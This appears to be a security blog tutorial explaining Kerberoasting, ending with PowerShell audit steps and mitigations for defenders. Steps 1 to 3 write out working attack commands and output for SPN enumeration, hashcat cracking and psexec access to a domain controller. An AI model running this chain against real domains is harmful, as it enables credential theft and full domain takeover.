In 2023, the Scattered Spider group pivoted from a compromised service account to full domain takeover using Kerberoasting — a technique that has existed since 2014 and still works in most enterprise environments today. It abuses a core Kerberos feature: any authenticated domain user can request a service ticket for any registered SPN, and that ticket is encrypted with the service account’s NTLM hash. Take the ticket offline, crack the hash, own the account. Here’s exactly how that chain plays out.
Step 1: Find Kerberoastable Accounts
You need a foothold first — even a low-privilege domain account works. From a compromised workstation (WS-FINANCE-04, 192.0.2.41), use Impacket’s GetUserSPNs to enumerate accounts with Service Principal Names (SPNs). An SPN is just a tag that says “this account runs a service.” Every account with an SPN is a target.
$ python3 GetUserSPNs.py CORP.LOCAL/jsmith:Password123 \
-dc-ip 192.0.2.10 -request
ServicePrincipalName Name MemberOf
------------------------------------- -------------- ------------------------------------------
MSSQL/db-prod.corp.local:1433 svc_mssql CN=Domain Admins,CN=Users,DC=corp,DC=local
HTTP/intranet.corp.local svc_webapp CN=Web Services,CN=Groups,DC=corp,DC=local
SMTP/mail.corp.local svc_mail CN=Mail Operators,CN=Groups,DC=corp,DC=local
[-] CCache file is not found. Skipping...
$krb5tgs$23$*svc_mssql$CORP.LOCAL$MSSQL/db-prod.corp.local~...[TRUNCATED]
That output tells you everything you need. svc_mssql is a member of Domain Admins — a misconfiguration that happens constantly in the real world when DBAs ask IT to “just give this account admin so the backups work.” The $krb5tgs$23$ prefix means the ticket was encrypted with RC4-HMAC, the weakest option and the most crackable. The tool already pulled the hash automatically with the -request flag.
If you see $krb5tgs$18$ instead, that’s AES-256. Harder to crack, but not impossible with the right wordlist. Prioritize RC4 targets first.
Step 2: Crack the Ticket Offline
Save the hash to a file and throw Hashcat at it. This runs entirely offline — no domain controller traffic, no alerts. Defenders watching network logs see nothing after the initial ticket request.
# Save the hash
$ echo '$krb5tgs$23$*svc_mssql$CORP.LOCAL$MSSQL/db-prod...' > svc_mssql.hash
# Crack with Hashcat using rockyou + rules
$ hashcat -m 13100 svc_mssql.hash /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
hashcat (v6.2.6) starting...
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
$krb5tgs$23$*svc_mssql$CORP.LOCAL$...:Summer2024!
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Time.Elapsed.....: 0 secs, Time.Estimated.: 0 secs
Recovered........: 1/1 (100.00%) Digests
Cracked in under a second. Summer2024! meets most complexity policies — uppercase, lowercase, number, special character — yet it falls to a simple wordlist with a rules engine. That’s the reality of service account passwords set by humans and never rotated.
You now have valid credentials for svc_mssql, a Domain Admin. The attack surface just went from “limited user on one workstation” to “full domain.”
Step 3: Move to Domain Admin
With svc_mssql:Summer2024!, authenticate directly to the domain controller (DC-CORP-01, 192.0.2.10) using Evil-WinRM or Impacket’s psexec.py. Since the account is already Domain Admin, no additional escalation is needed.
$ python3 psexec.py CORP.LOCAL/svc_mssql:Summer2024!@192.0.2.10
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on 192.0.2.10.....
[*] Found writable share ADMIN$
[*] Uploading file xKtmpRzQ.exe
[*] Opening SVCManager on 192.0.2.10.....
[*] Creating service XkTm on 192.0.2.10.....
[*] Starting service XkTm.....
[!] Press help for extra shell commands
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> net group "Domain Admins" /domain
Administrators for CORP.LOCAL
-------------------------------
svc_mssql Administrator j.henderson svc_backup
You’re running as SYSTEM on the domain controller. From here an attacker dumps the NTDS.dit (the entire AD credential database), creates a golden ticket, or establishes persistence. Game over for the domain.
Why This Still Works Everywhere
- Service accounts are set once and never touched — passwords age for years
- Legitimate Kerberos traffic makes the initial request nearly invisible
- RC4 encryption is still allowed in most domains for backward compatibility
- SPN accounts accumulate privileges over time as admins take shortcuts
What To Do Now
Open PowerShell on a domain-joined machine right now and run this:
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
-Properties ServicePrincipalName, MemberOf, PasswordLastSet |
Select-Object Name, PasswordLastSet, MemberOf |
Format-List
Look at two things: any account where PasswordLastSet is older than 12 months, and any account where MemberOf includes privileged groups like Domain Admins or Account Operators. Those are your highest-priority fixes. Remove unnecessary group memberships, enforce 25+ character passwords on all SPN accounts, and enable AES-only encryption by setting msDS-SupportedEncryptionTypes to 24 on every service account. Do those three things and you’ve eliminated the easy path an attacker would take through your domain.
